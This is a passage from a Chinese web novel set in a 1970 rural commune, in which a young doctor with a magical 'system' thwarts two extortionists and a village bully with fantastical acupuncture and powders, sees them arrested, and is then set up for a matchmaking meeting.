这番动静立刻引来了所有人的目光。 那老知青组长皱了皱眉,走过来瞅了一眼,看赵卫东脸色发白,只不耐烦地挥了挥手:“行了行了,陈小军,你扶他去江大夫那儿看看!” “得嘞!” 陈小军应了一声,架起还在痛苦呻吟的赵卫东,一瘸一拐地朝着卫生室的方向摸去。 两人刚走到门口,就透过窗户看到里面的情景。 江沐正坐在小马扎上,身边围着三四个村里的半大孩子,那副悠闲自在的模样,跟他们这些知青活在两个世界。 嫉妒的火焰烧得更旺了。 “江沐!江大夫!”陈小军故意扯着嗓子喊了一声,扶着奄奄一息的赵卫东撞开了门。 江沐闻声回头,目光平静地落在赵卫东身上:“怎么了?” “肚子疼!疼死我了!”赵卫东哼哼唧唧地被扶到唯一的病床上躺下,整个人蜷缩成一团。 江沐面无表情地走上前,手指搭在他的脉搏上,闭目凝神。 片刻后,他松开手,心中已然了然。 脉象平稳有力,毫无病兆。 他伸出手指,在赵卫东的腹部轻轻按压:“这里疼吗?” “哎哟!疼!” 江沐换了个地方:“这里呢?” “也疼!都疼!” 江沐的手指所到之处,赵卫东无一例外地发出杀猪般的嚎叫。 江沐的眼神冷了半分,这人根本就是在装病。 “晚饭吃了什么?” 赵卫东哪里肯回答,只顾着在床上打滚:“你到底行不行啊?看不出来就直说!什么狗屁神医,我看就是个庸医!哎哟……疼死我了!” 陈小军立刻在一旁帮腔,“是啊江沐!你快给看看啊!卫东哥都疼成这样了,你要是没那本事,可别耽误了病情!” 庸医? 江沐心底泛起冷笑。 他算是彻底明白了这两人的来意。 既然你们喜欢演,那我就陪你们演到底。 江沐不再按压,而是转身从药箱里取出一个针灸包,在马灯下缓缓展开。 一排长短不一的银针,在昏黄的灯光下闪烁着森然的寒光。 “既然按不出来,那就扎一针,一针下去,保管药到病除。” 赵卫东一看那明晃晃的银针,心里顿时一突。 他只是来找茬的,可没想过真挨上一针! 他眼珠一转,趁着江沐转身消毒的瞬间,猛地从床上一滚,直挺挺地摔在了地上,四肢开始不受控制地剧烈抽搐,口中还吐出了白沫。 “啊——!不好了!江沐把人治出事了!卫东哥抽过去了!” 陈小军的哭喊声如丧考妣,尖利得几乎要划破这寂静的夜空。 江沐缓缓转过身,看着地上表演得惟妙惟肖的赵卫东,眼神里连任何波澜都没有。 “让开。”他吐出两个字。 陈小军被他这眼神看得心里发毛,下意识地后退了一步。 江沐走到赵卫东身边,居高临下地看着他。 捏起一根最细的银针,对着赵卫东腰侧一处穴位——那是人体最敏感、最怕疼的软肋之一,毫不犹豫地刺了下去。 “嗷——!” 一声撕心裂肺的惨叫响彻卫生室。 地上的赵卫东像被电击了一般,猛地弹了起来,刚才那一瞬间的剧痛,简直比真的被人捅了一刀还难受! 他捂着腰,眼珠子一转,索性一屁股坐倒在地,开始拍着自己的大腿哀嚎:“我的腿!我的腿没知觉了!江沐!你这个庸医,你把我给扎坏了!你把我扎瘫了!” 他恶狠狠地瞪着江沐,伸出一根手指:“你得赔我!赔我一百块钱!不然这事没完!” 陈小军也反应过来,立刻冲上来指着江沐的鼻子:“对!你得赔钱!我亲眼看见的,就是你把他扎坏了!” 江沐被这二人的无耻给气笑了:“一百块够拉出去枪毙了。你确定,你的腿值这个价?” 赵卫东顿时噎住了。 的确,一百块是天文数字,真闹大了,谁也讨不了好。 但他不甘心就此罢休。 他眼里的贪婪几乎要溢出来:“不给钱也行!那你……你就把那个膏药的方子交出来!不然,我就去找赵虎哥!让他来跟你说道说道!” 赵虎,是这有名的村霸。 江沐的耐心终于耗尽。 他不想再跟这两只苍蝇浪费时间。 “方子?你也配?” 话音未落,手中的银针已经刺入了赵卫东双腿的几处大穴。 赵卫东只觉得双腿一麻,惊恐地发现,自己的两条腿真的动不了了!这次不是装的,是真真切切地失去了控制! “你……你对我做了什么!”他脸上血色尽褪,声音里充满了恐惧。 江沐缓缓拔出银针,随手扔回针灸包里。 赵卫东立刻感觉双腿的控制权又回来了。 江沐掸了掸衣袖上不存在的灰尘,淡淡地瞥了他一眼:“不用客气。刚才顺手帮你调理了一下肾虚,以后少干点亏心事,对身体好。” 赵卫东的脸瞬间涨成了猪肝色,却一个字都不敢反驳。 他拉上同样目瞪口呆的陈小军,连滚带爬地逃出了卫生室。 两人一口气跑出老远,才敢停下喘气。 “卫东哥,这……这小子邪门啊!”陈小军心有余悸。 赵卫东咬牙切齿,眼里的怨毒几乎要化为实质:“邪门?老子就不信这个邪!走!去找赵虎哥!” 赵虎家,赵卫东添油加醋地把江沐如何一下午就挣了十几块钱的事情,绘声绘色地讲了一遍。 赵虎将手里的酒碗砰地一声砸在桌上,眯起一双三角眼,吐出一口酒气。 “你是说,那小子一下午,挣了十几块?”他的声音粗哑,带着一股不容置疑的压迫感。 赵卫东忙不迭地点头:“千真万确!虎哥,全村人都看见了!” 赵虎的眼里,瞬间迸射出贪婪的光芒,他舔了舔干裂的嘴唇,兴致盎然地追问。 “哦?那小子……是怎么挣的?” 第24章 什么东西,也想拿老子当枪使 赵卫东忙不迭地点头,“千真万确!虎哥,全村人都看见了!”他觉得还不够,又添了一把火,“而且,那小子有钱!他刚来没几天,就把周书记家那三间大土坯房给买下来了!” 赵虎眼里的贪婪几乎要化为实质,他嘿嘿一笑,大手重重地拍在赵卫东的肩膀上,震得他一个趔趄。 “好小子!有这好事儿不早跟哥说?”赵虎的语气瞬间亲热起来。 “从今往后,你赵卫东就是我赵虎的兄弟!在这青莲公社,有谁敢欺负你,就是跟我赵虎过不去!” 赵卫东受宠若惊,腰杆都挺直了几分,脸上堆满了谄媚的笑:“谢谢虎哥!谢谢虎哥!” “行了,这事儿我知道了。”赵虎不耐烦地摆摆手,“你们先回去,等我信儿。” 得了赵虎的保证,赵卫东和陈小军顿时觉得底气十足,点头哈腰地退了出去。 看着两人消失在夜色中的背影,赵虎脸上的笑容瞬间收敛,取而代之的是一脸的鄙夷。 他往地上啐了一口唾沫,抓起酒碗一饮而尽。 “妈的,什么东西,也想拿老子当枪使。” 一个会下金蛋的鸡,宰了未免可惜。 赵虎心里已经有了盘算,这棵摇钱树,他得连根拔起,自己攥在手里才行。 回去的路上,夜风一吹,陈小军的酒意醒了大半,心里的那股兴奋劲儿也渐渐冷却下来,取而代之的是后怕。 “卫东哥,你说……赵虎真会替咱们出头吗?”他惴惴不安地问,“还有今天这事儿,江沐那小子会不会去找李队长告状?他跟李有柱的关系可不一般。” “告状?”赵卫东嗤笑一声,不屑地撇了撇嘴,“他告什么?告咱们去他那儿看病?咱们从头到尾可什么都没干,白白让他扎了两针,老子现在腰上还钻心地疼呢!” 他一想到江沐那双古井无波的眼睛,和那神鬼莫测的针法,心里就一阵发毛。 “当时那一下,我除了眼珠子能动,浑身上下跟冻住了一样,真他娘的邪门!” 陈小军大吃一惊:“啊?卫东哥,我还以为……以为你那时候是装的,想多讹他点钱呢!” 赵卫东的脸瞬间涨成了猪肝色,感觉受到了莫大的侮辱。 那是装的吗?那是真真切切的恐惧! 他到现在还记得那种身体完全不受控制的绝望感。 另一边,卫生室里。 江沐送走了最后一拨来看病拿药的村民,将门板插好。 他坐在马灯下,眼神平静,脑中却在飞速盘算。 陈小军和赵卫东临走前那怨毒的眼神,和那句去找赵虎哥,他听得一清二楚。 被人欺负到头上还不还手,不是他的风格。 “系统,兑换奇痒散和泄力丹的配方材料。” 他在心中默念。 声望值瞬间减少了一小部分。 很快,几味在现代都极为罕见的药材凭空出现在他的储物空间里。 他取出药材,将其研磨成粉,分装进几个小小的油纸包里,小心地揣进怀中。 做完这一切,天色已经彻底黑透了。 江沐吹熄马灯,锁好卫生室的门,朝着自己那三间土坯房走去。 刚走到半路,一个高大的黑影就从路边的阴暗处闪了出来,拦住了他的去路。 是赵虎。 他身后还跟着两个游手好闲的村民,一脸不怀好意。 “你就是江沐?”赵虎的声音粗哑,带着一股浓重的酒气,三角眼在黑暗中闪着凶光。 江沐站定,神色不变:“有事?” “呵,小子还挺镇定。”赵虎上前一步,巨大的身影几乎将江沐完全笼罩。 “我听我兄弟赵卫东说了,你小子挺威风啊?不把我们这些本地人放在眼里?” 江沐静静地看着他,没有说话。 赵虎见他不吭声,以为他怕了,脸上的横肉抖了抖,露出狞笑:“行了,我也不是来找你麻烦的,我来和你说说规矩,每个月,交五块钱的保全费,以后你就是我赵虎的朋友,谁敢动你一根汗毛,我帮你平事!” 江沐心中冷笑,面上却不动声色,直接从口袋里掏出五块钱递了过去。 赵虎愣了一下,没想到他这么干脆。 他一把抓过钱,在手里掂了掂,脸上的笑容真诚了几分:“不错,是个识时务的。以后有事,就报我的名字!” 在他看来,江沐不过是个会点医术的软柿子,一吓唬就怂了。 他收好钱,心里盘算着明天正好去公社那几个人的场子里赌两把。 就在两人擦身而过的一瞬间,江沐的手指看似无意地在赵虎的手臂上轻轻拂过,一撮无色无味的粉末悄无声息地沾了上去。 江沐看着他们的背影,眼神幽深如潭。 回到家,赵虎兴奋地把五块钱拍在桌上,就着咸菜疙瘩又喝了两碗酒。 可酒喝下去,非但没有舒坦,反而觉得浑身不对劲。 一股若有若无的痒意,从后背开始,像蚂蚁一样,慢慢爬遍全身。 “他娘的,怎么回事?”他烦躁地抓了两把,没当回事。 可洗完澡躺到床上,那股痒意却像是被点燃的野火,瞬间席卷了他每一寸皮肤! 他疯狂地抓挠着,皮肤很快就出现了一道道血痕,可那痒意却愈发深入骨髓,根本无法缓解! “啊——!痒死老子了!” 凄厉的嚎叫声,划破了赵家院子的宁静。 与此同时,知青点。 躺在床上的赵卫东翻来覆去,总觉得小腹一阵阵发胀,憋得慌。 他骂骂咧咧地爬起来,摸黑去了趟茅房。 解决完回来,刚躺下没多久,那股强烈的尿意又来了! 一次,两次,三次…… 一连跑了三趟厕所,他感觉自己整个人都快被掏空了,两条腿软得跟面条一样。 最要命的是,他惊恐地发现,自己的右腿,从大腿根往下,竟然开始发麻,渐渐失去了知觉! 就像……就像下午在卫生室里被江沐扎了一针之后的感觉! “啊——!” 他躺在床上,发出一声惊恐的尖叫。 “大半夜的,嚎丧呢!”睡在上铺的点长吴有才被吵醒,没好气地骂了一句。 黑暗中,赵卫东的声音带着哭腔:“我的腿!我的腿没知觉了!” 吴有才不耐烦地划着一根火柴,点亮了床头的煤油灯。 灯光亮起,屋里的人下意识地朝赵卫东的床铺看去。 下一秒,所有人都愣住了。 昏黄的灯光下,赵卫东直挺挺地躺在床上。 吴有才目瞪口呆,随即没好气地嚷嚷:“你小子做什么好梦了这是?” 第25章 赵虎同志昨晚是来找我借钱的 陈小军他结结巴巴地指着赵卫东那处异状,半天没说出一句完整的话:“卫……卫东哥,你这……这是……” “别管这个了!”赵卫东都快疯了,声音里带着哭腔,“我的右腿!一点感觉都没有!” 陈小军这才回过神,他咽了口唾沫,颤颤巍巍地伸出手,对着赵卫东的大腿狠狠拧了一把。 “怎么样?有感觉吗?” 赵卫东脸色煞白,绝望地摇了摇头:“没……一点儿都没有……” 一个念头,划破了二人混乱的思绪。 “肾虚……”赵卫东喃喃自语,眼神空洞,“江沐走之前说……说顺手把我的肾虚给调理了一下……” 陈小军也猛地想了起来,下午江沐那云淡风轻的模样。 “我的天!他……他到底对你做了什么?!”陈小军的声音里充满了骇然。 上铺的吴有才被吵得实在睡不着,烦躁地探出头来:“你们两个又在搞什么名堂?什么肾虚不肾虚的?” 这话一出,赵卫东和陈小军瞬间噤声。 这种丢人现眼的事,怎么可能说得出口? “没事,没事……吴点长,我们闹着玩呢!” “有病!”吴有才懒得再理会,翻了个身,没好气地嘟囔一句,“赶紧睡觉!明天还要出工呢!” 说完,他吹熄了煤油灯,屋里再次陷入一片黑暗。 黑暗放大了赵卫东心中的恐惧。 “小军……”他的声音微弱得像蚊子哼。 “唉,卫东哥,你别想那么多了。”陈小军也困得不行,打了个哈欠,强行安慰,“说不定就是累着了,睡一觉,明天早上起来就好了。” 明天早上?赵卫东在黑暗中睁大双眼,他还能有明天吗? 翌日清晨,天刚蒙蒙亮。 知青点的众人陆续被出工的哨声叫醒。 陈小军揉着惺忪的睡眼坐起来,习惯性地朝下铺看了一眼,瞬间睡意全无! 只见赵卫东直挺挺地躺在床上,面如金纸,嘴唇发白,一夜之间苍老了十岁。 “卫东哥!你……你没事吧?” 赵卫东缓缓转动眼球,目光涣散地聚焦在陈小军脸上,从喉咙里挤出几个字:“快……送我去……卫生室……” 话音刚落,他脑袋一歪,彻底晕死过去。 与此同时,赵家大院。 折腾了一夜的赵虎,终于感觉那股深入骨髓的奇痒慢慢退去。 他整个人像是从血水里捞出来的,浑身上下没有一块好皮。 他摇摇晃晃地从地上爬起来,披了件破烂褂子,双眼赤红,踉踉跄跄地冲出院门,朝着不远处的另一座土坯房走去。 “爹!开门!开门啊!” 他用尽力气捶打着院门。 “谁啊!大清早的叫魂呢!”院里传来一个苍老而不耐烦的声音,正是他爹赵老汉。 门被拉开,赵老汉睡眼惺忪地探出头,当他看清门口站着的人时,浑身的瞌睡虫瞬间跑得一干二净! “虎……虎子?”赵老汉的声音都在发颤,他看着儿子这副人不像人鬼不像鬼的模样,震惊道,“你这是……这是让谁给打了?!” “别问了!快!”赵虎咬牙切齿,额头上青筋暴起。 赵老汉气得浑身发抖,转身就朝屋里吼,“赵龙!你个兔崽子,快给老子滚起来!你弟弟让人给废了!” 里屋传来一阵骂骂咧咧的声音,一个比赵虎更高大壮实的汉子光着膀子走了出来,正是赵虎的大哥赵龙。 赵龙出了名的孝顺本分,跟惹是生非的赵虎是两个极端。 “嚷嚷啥,大清早的……” 当他看到赵虎那副惨状时,后面的话也噎了回去:“虎子!这是哪个狗日的下的黑手?!” “哥……别问了……” 赵老汉急得直跺脚:“还问个屁!赶紧去套车!去卫生室!快!” 晨光熹微,江沐刚起床,正准备生火做点早饭,院门就被人敲响了。 来人正是赵龙,他跟江沐打过几次交道,知道这是个有本事的文化人,关系还算不错。此刻他一脸焦急,看见江沐,也顾不上客套。 “江医生!求你快去看看我弟弟吧!他……他快不行了!” 江沐看着他满头大汗的样子,心里已然有数,面上却波澜不惊,只平静地点了点头:“别急,我马上过去。” 当江沐来到卫生室时,门口已经围了不少看热闹的村民。 他一进门,就看到两伙人,一边是几个知青抬着担架,上面躺着昏迷不醒的赵卫东; 另一边,赵虎被他爹和大哥扶着,瘫坐在长凳上,浑身血污,嘴里发出痛苦的呻吟。 公社队长李有柱也闻讯赶来了,正皱着眉头,一脸凝重地看着这乱糟糟的场面。 见到江沐,李有柱像是见到了主心骨,立刻迎了上来:“江沐,你可算来了!快看看,这到底是怎么回事?” 江沐的目光扫过两人,最后落在已经陷入半昏迷状态的赵虎身上。 他二话不说,从药箱里拈出一根银针,刺入赵虎的人中穴。 “呃啊——!”赵虎发出一声惨叫,猛地睁开了眼睛。 江沐收回银针,声音清冷:“说说吧,昨晚发生了什么。” 赵虎缓过一口气,眼神怨毒地盯着江沐,咬牙切齿地挤出一句话:“我……我从你这儿回去之后……身上就开始痒!钻心刺骨地痒!” 话音未落,李有柱的脸色瞬间变了:“你昨晚来找江沐了?你找他干什么?!” 赵虎眼神闪烁,还没来得及编造谎言,江沐平淡的声音就响了起来,清晰地传到在场每一个人的耳朵里。 “李队长,赵虎同志昨晚是来找我借钱的。” 他顿了顿,“他说,想在青莲公社安稳待下去,就得懂规矩。每个月交五块钱保全费,我一个外地来的知青,没权没势,只能把钱给他了。” “你——!”赵虎气得一口血差点喷出来,他瞪着铜铃般的眼睛,那眼神里的威胁意味不言而喻。 江沐却视若无睹,丝毫不惧。 “混账东西!” 一旁的赵老汉听完,气得浑身发抖,他扬起蒲扇般的大手,狠狠一巴掌扇在赵虎的脸上! 一声脆响,让所有人都安静了下来。 “老子的脸都让你这个畜生给丢尽了!”赵老汉指着赵虎的鼻子破口大骂,随即又转身,对着江沐深深地鞠了一躬,老脸涨得通红。 “江医生,是我教子无方!那五块钱,我……我砸锅卖铁也还给你!求求你,求求你先救救这个畜生吧!” 第26章 江沐是咱们公社的宝贝! 江沐却摆了摆手,“他的病,是娘胎里带出来的毛病,现在毒火已经深入脏腑,再拖下去,神仙难救。” 说着,从药柜里抓出几味最寻常的清热解毒的草药,用一张黄麻纸包好,随手丢在桌上。 “这病看着吓人,其实不难治。按时吃药,忌辛辣发物,半个月就能好。” 赵老汉一听有救,顿时大喜过望,颤抖着手就要去拿药包:“谢谢江医生!谢谢江医生!这……这药钱得多少?” 江沐眼皮都未曾抬一下,目光清冷地落在赵虎那只攥着钱的手上:“药钱就不用了。我只要一样东西。” 所有人的目光都随着他移动。 “把我那五块钱,还给我。” 此言一出,赵虎那张血肉模糊的脸瞬间涨成了猪肝色。 “你……” “畜生!你还敢瞪眼!”赵老汉猛地回头,反手又是一记响亮的耳光,“钱呢!拿出来!” 赵虎被打得一个趔趄,嘴角溢出血沫,老实交了出来。 “江医生,您点点。” 江沐看都未看,直接将钱揣进兜里,他无视了赵虎那几乎要杀人的目光,转身走向了另一边的担架。 担架上的赵卫东,面色如土,人事不省。 “他这又是什么情况?”江沐的声音里听不出喜怒。 抬担架的吴有才一脸茫然地摇了摇头:“我也不知道啊!昨晚还好好的,早上就成这样了。” 江沐伸出两指,搭在赵卫东的腕脉上。 他收回手,环视了一圈围观的知青和村民,声音不大,却清晰地传入每一个人耳中:“这是气虚血亏,心脉失养。这种基因上的毛病,别说咱们公社,就是送到省城大医院,也未必有法子根治。” 基因病? 这个词,对1970年的农民和知青来说,简直闻所未闻。 众人看赵卫东的眼神,瞬间充满了同情和怜悯。 江沐不再多言,又是拈出一根银针,对着赵卫东的人中穴刺下。 “嗯……”赵卫东发出一声痛苦的呻吟,眼皮颤动了几下,悠悠转醒。 他眼神迷茫了一瞬,随即聚焦在江沐那张平静无波的脸上。 “江沐!是你!是你害我!”他声嘶力竭地尖叫起来,挣扎着想要坐起。 “他害你什么了?”李有柱脸色一沉,厉声喝问。 不等赵卫东开口,江沐已经抢先一步,对着李有柱摊了摊手。 “李队长,这事儿您得给我评评理。昨天下午,赵卫东同志捂着肚子来找我,说疼得厉害。我好心给他扎了几针,调理了一下。谁知道他转头就说我把他治坏了,非要我赔他一百块钱,不然就去公社告我!” 一百块钱! 人群里发出一阵倒吸凉气的声音。 “你胡说!”赵卫东气得脸都变形了,他指着自己的下身,又羞又怒,“你明明……你明明是……” 他犹豫着对着李有柱嘶吼:“李队长!你别信他的!他就是个骗子!你们俩关系好,你当然向着他说话!” 这话简直是火上浇油! 李有柱气得一拍大腿,指着赵卫东鼻子骂:“放你娘的屁!江沐来咱公社救了多少人,大伙儿眼睛都是雪亮的!你个小兔崽子,自己得了怪病,还想讹人?” “我……”赵卫东百口莫辩。 就在这时,江沐将身上的白大褂脱下,整齐地叠好放在桌上。 “李队长,我看这村医,我是干不下去了。” “我辛辛苦苦给人看病,不收诊费,卖膏药也就收个成本钱,图的什么?不就是想为乡亲们做点事吗?结果呢?今天这个来收保全费,明天那个就来讹一百块钱。这要是传出去,说我江沐治坏了人,我以后还怎么做人?” 他目光扫过众人,最后落在李有柱身上。 “我看我还是老老实实回知青点,每天挣工分算了。” “不行!”李有柱急了,一把按住江沐的手,“这事儿没完!必须查清楚!” 他猛地转身,对着外面吼了一嗓子:“陈小军呢?把陈小军给我叫过来!” 不一会儿,陈小军被人推了进来。 李有柱死死盯着他:“陈小军,我问你!昨天下午,赵卫东是不是跟江医生要钱了?” 陈小军的脑子一片空白。 他差点给李有柱跪下,把所有事情都说了出来,还不忘把自己摘得干干净净:“是……是卫东哥!是他非说江医生把他治坏了,还说江医生能挣钱,肯定有油水,让我……让我帮他作证,我……我没答应啊!李队长,这事儿跟我一点关系都没有!” 真相大白! 整个卫生室鸦雀无声,所有人都用一种鄙夷的目光看着担架上的赵卫东。 李有柱气得浑身发抖,他指着赵卫东和还在地上哼哼的赵虎,对着众人怒吼。 “我青莲公社二大队,容不下这两尊大佛!一个敲诈勒索,一个诬陷讹人!真当我们是法外之地了?!” 他一把拉起江沐:“走!江沐,跟我去找周书记!这事儿要是不给你一个公道,我这个队长就不干了!” 说完,他拽着江沐,大步流星地朝着公社大院走去,留下身后一片哗然。 公社大院,周志康书记办公室。 李有柱把事情的来龙去脉一五一十地讲了一遍,气得直拍桌子:“周书记!这简直是无法无天了!江沐是咱们公社的宝贝!绝不能被欺负!” 周志康听完,一张脸阴沉得能滴出水来。 他猛地一拍桌子,站了起来。 “有柱说得对!这件事,绝不能就这么算了!这不是欺负江沐一个人,这是在挖我们青莲公社的根!” 他办事干脆利落:“走!去派出所!我倒要看看,是哪个王八蛋给他们的胆子!” 周志康亲自带路,李有柱和江沐跟在后面,三人直奔镇上的派出所。 派出所的张所长一听是周书记亲自来了,赶忙迎了出来。 当他听完整件事的经过,脸上的横肉都气得直哆嗦。 张所长当即拍板,“走!我现在就跟你们去大队!把那两个兔崽子给我铐起来!” 一行人浩浩荡荡地往二大队走。 路上正巧碰到了闻讯赶来的高志强,他也是一脸怒容,他也听说了这件事。 几个人说话间,已经来到了知青点。 当周志康、李有柱、高志强,还有身后穿着制服的张所长同时出现在院子里时,整个知青点的空气都凝固了。 陈小军,看到这副阵仗,特别是看到那身警服时,双腿一软,一屁股瘫坐在了地上。 第27章 这门亲事,必须得成 李有柱那根指着陈小军的手指,毫不迟疑,又猛地指向担架上刚刚转醒,还一脸懵懂的赵卫东。 “还有他!装神弄鬼,讹诈勒索!” 张所长眼中精光一闪,没有半句废话,大手一挥:“铐上!带走!” 身后两名公安立刻上前,动作干净利落。 其中一人走向瘫软在地的陈小军,将他提了起来,冰冷的手铐锁住了他的手腕。 另一名公安则走向担架。 赵卫东万万没想到,事情会闹到戴手铐的地步! 这要是被抓进派出所,他这辈子就完了! 求生的本能压倒了一切,他猛地从担架上弹了起来,动作之矫健,哪里还有半分气虚血亏的模样? 腿也不瘸了,腰也不酸了,转身就像只被猎狗追赶的兔子,拼了命地往院子外冲! “嘿!还想跑?” 那公安冷笑一声,一个箭步上前,蒲扇般的大手直接按住赵卫东,并反剪双手,手铐锁死。 这戏剧性的一幕,让周围的知青和村民们看得目瞪口呆。 吴有才站在一旁,额头上冷汗涔涔。 他看着那个自始至终都一脸平静的江沐,这个年轻人,不光医术通神,这手腕……更是神鬼莫测! 以后谁再敢惹他,那真是老寿星上吊——嫌命长了! 眼看两人被押着往外走,江沐却忽然开了口。 “张所长,等一下。” 所有人的目光瞬间聚焦在他身上。 江沐的视线越过众人,落在了不远处同样被控制住的赵虎身上:“周书记,李队长,赵虎这事,我看就算了吧。” 李有柱一愣,火气又上来了:“算了?这王八羔子都敢收保全费了,这还能算了?” “他毕竟是二大队的人,沾亲带故的不少。”江沐的声音不高,却透着一股不容置喙的冷静,“冤家宜解不宜结,李队长,我这是给您面子,也是给赵家一个台阶。” 这话一出,李有柱瞬间冷静了下来。 他看了一眼江沐,眼神里多了几分赞许和感激。 这小子,不光有本事,还懂人情世故! 周志康也点了点头,看向江沐的目光愈发欣赏:“江沐同志考虑得周到。那就按你说的办。” 江沐走到赵虎面前,居高临下地看着这个已经没了半点凶悍的村霸,声音轻得只有他们两人能听见。 “今天这事,是个教训。如果再有下次……”他顿了顿,“我保证,你会比现在痛苦一百倍。” 赵虎浑身一颤,抬头对上那双深不见底的眸子,他毫不怀疑,江沐说得出,就做得到! 在公安和一众领导离开前,李有柱把吴有才叫到一边,脸色黑得像锅底:“吴有才!我把知青点交给你,不是让你和稀泥的!今天这种事,再有下一次,你这个点长就别干了,给我滚回去挣工分!” 吴有才吓得连连点头哈腰:“是是是,队长您放心,保证不会了!我保证!” 风波过后,知青点恢复了诡异的平静。 当天下午,消息就传了回来。 陈小军和赵卫东在派出所里竹筒倒豆子,把事情的来龙去脉全交代了。 经公社和派出所商议,鉴于影响恶劣,决定将二人送去百里外的红星林场进行劳动改造。 那地方,可比青莲公社苦多了。 李有柱特意跑来卫生室告诉江沐这个消息,末了,他一屁股坐在长凳上,咧着大嘴,用胳膊肘捅了捅江沐。 “江沐啊,这下清净了。说真的,你年纪也不小了,有没有想过,在这边找个媳妇儿?” 江沐正整理着草药,闻言不由失笑:“李队长,您怎么还当上媒婆了?” “嘿!我这不是看你小子顺眼嘛!”李有柱两眼放光,“你给个话,想要个什么样的?天仙成不成?” 江沐也乐了,顺着他的话茬开了句玩笑:“别的要求没有,长得好看就行。” “好嘞!这事包在我身上!”李有柱一拍大腿,当了真,兴冲冲地走了。 傍晚时分,赵老汉拄着拐杖,颤巍巍地走进了卫生室,身后跟着被他儿子赵龙搀扶着的赵虎。 “江医生……”赵老汉一进门,就要给江沐跪下,被江沐眼疾手快地扶住了。 “老人家,您这是干什么。” “江医生,我对不住你啊!是我没教好这个畜生!”赵老汉老泪纵横,“您放心,以后他要是再敢找您半点麻烦,我亲手打断他的腿!” 江沐看了看面如死灰的赵虎,神色平淡地递过早上包好的那包草药:“药拿回去,一天三次,饭后煎服。另外,我提醒一句,他这病根深,今晚可能还会再发作一次,你们多看着点,别出什么意外。” 赵老汉千恩万谢地带着儿子走了。 果不其然,当天深夜,赵虎的屋里又传出了杀猪般的嚎叫。 那股钻心刺骨的奇痒再次席卷而来,赵龙和赵老汉早有准备,用绳子将他死死捆在床上,才没让他把自己抓得血肉模糊。 不过,正如江沐所料,这次发作的猛烈程度,比头天晚上轻了不少。 第二天一早,赵虎身上的恶疮竟已消退大半,人也精神了许多。 赵老汉看着儿子的变化,对江沐的医术佩服得五体投地,直呼神医在世。 与此同时,江沐的脑海中,响起了久违的系统提示音。 【叮!收获来自赵老汉的敬佩,声望值+5!】 【叮!收获来自赵虎的敬畏,声望值+5!】 江沐微微一笑,这买卖,不亏。 他这边刚开门,一个风风火火的身影就闯了进来,正是李有柱的媳妇儿张兰。 “江医生!江医生!”张兰是个嗓门洪亮的爽利女人,她一把拉住江沐,脸上笑开了花,“俺家老李跟我说了,你那事儿,婶子给你办了!” 江沐一头雾水:“婶子,什么事?” “找媳妇儿啊!”张兰一拍手,神秘兮兮地凑近了些,“我娘家三大队的,我有个亲侄女叫小月,今年刚十八,还没定亲!那模样,十里八乡都挑不出第二个,水灵得跟画儿里的人一样!你见不见?” 江沐没想到李有柱效率这么高,哭笑不得,但看着张兰热情的模样,也不好拒绝。 “那就……有劳婶子了。” “哎!见外了不是!”张兰得了准信,比谁都高兴,转身就往外跑,“我现在就回娘家说去!你等我好消息!” 说着,人已经跑出了卫生室,风风火火地朝着三大队的方向去了。 她心里盘算着,这可是给侄女小月找了个金龟婿!江医生有本事,受领导器重,以后前途不可限量,这门亲事,必须得成! 第28章 我媳妇把你媳妇领回来了! 半个多小时后,她满头大汗地冲进了娘家院子。 “哥!嫂子!我回来了!” 院子里,一个皮肤黝黑、筋骨结实的汉子正蹲着磨镰刀,闻声抬头,正是张兰的哥哥张峰。 里屋闻声走出一个面相和善的中年女人,是张兰的嫂子刘桂芝。 “瞧你这满头大汗的,出啥事了这么急?” 张兰灌下大半碗水,抹了把嘴,这才喘匀了气,一把拉住刘桂芝的手,眼睛里闪着兴奋的光。 “嫂子!大好事!天大的好事!我来给咱小月说婆家了!” 这话一出,院里磨镰刀的张峰动作一顿,刘桂芝更是愣住了。 “说婆家?谁啊?” “二大队的江医生!”张兰一拍大腿,声音都高了八度,“就是那个新来的知青,医术神了!现在是公社卫生室的正式医生,一个月十八块钱工资,还有各种票证!人长得那叫一个俊!” 张兰竹筒倒豆子一般,把江沐的事迹,从治好自家小娃到收拾村霸赵虎,再到被县里看重,添油加醋地渲染了一遍。 张峰和刘桂芝听得眼珠子都快瞪出来了。 一个月十八块!正式工!还会医术! 这条件,在十里八乡简直是打着灯笼都难找的金龟婿! “我的乖乖……”刘桂芝半晌才回过神来,脸上却泛起了愁容,她小心翼翼地拽了拽张兰的袖子,“兰子,你说的这江医生……条件也太好了吧?” 刘桂芝生怕自家闺女热脸贴了冷屁股,被人瞧不上。 “嫂子你说的这是啥话!”张兰眉毛一挑,不乐意了,“咱小月哪点差了?要模样有模样,要身段有身段!” 一直没吭声的张峰把镰刀往旁边一放,站起身,闷声闷气地开了口:“这事,光咱们说没用,还得小月自个儿点头才行。” 话音刚落,院门外传来一阵清脆的鹅叫声。 一个穿着洗得发白的碎花布衣,梳着两条乌黑油亮大辫子的姑娘,正赶着一群肥硕的白鹅进了院。 姑娘约莫十八岁年纪,皮肤是健康的小麦色,一双眼睛却像山泉水洗过似的,清澈明亮。 正是张小月。 “姑,你来啦!”张小月看见张兰,脸上露出甜甜的笑。 “哎!我的好侄女!”张兰立刻迎了上去,亲热地拉住她的手,上上下下打量了一遍,越看越满意。 她清了清嗓子,换上了一副前所未有的正式表情:“小月啊,姑今天来,是给你说个媒。” 张小月一张俏脸瞬间涨得通红,手指紧张地绞着自己的衣角,头都快埋进胸口里了。 “姑……你说啥呢……” “就是二大队的江医生,江沐同志!”张兰可不管她害不害羞,直接把刚才的话又重复了一遍,末了,她盯着张小月的眼睛,催促道,“你给姑一个准话,这人,你见还是不见?” 张小月脑子里乱成一团。 江医生的名声,她也听过一些,都说他是个有本事的神医。 可……可这太突然了! “姑……我……” “见!为什么不见!”张兰看她犹豫,直接替她做了半个主,“就是见个面,又不是让你马上就嫁过去!成不成,总得看过才知道!” 在张兰火辣辣的目光注视下,张小月咬了咬下唇,声音细若蚊蚋:“见……就见一面……但是……你们可不许逼我。” “好嘞!”张兰一听这话,喜笑颜开,一拍巴掌,“就这么定了!” 她拉起张小月的手,转身就要往外走。 “走!跟姑去二大队!咱们这就见去!” 张小月彻底懵了:“啊?现在就去?姑,这也太急了吧!” “急啥!”张兰回头瞪了她一眼,压低了声音,“好饭不怕晚,好女婿可不等人!江医生现在可是香饽饽,多少人盯着呢!咱们得先下手为强,把事给定下来!” 由不得张小月再反对,她被张兰半推半拉地拽出了院子。 回到二大队李有柱家,天色已经擦黑。 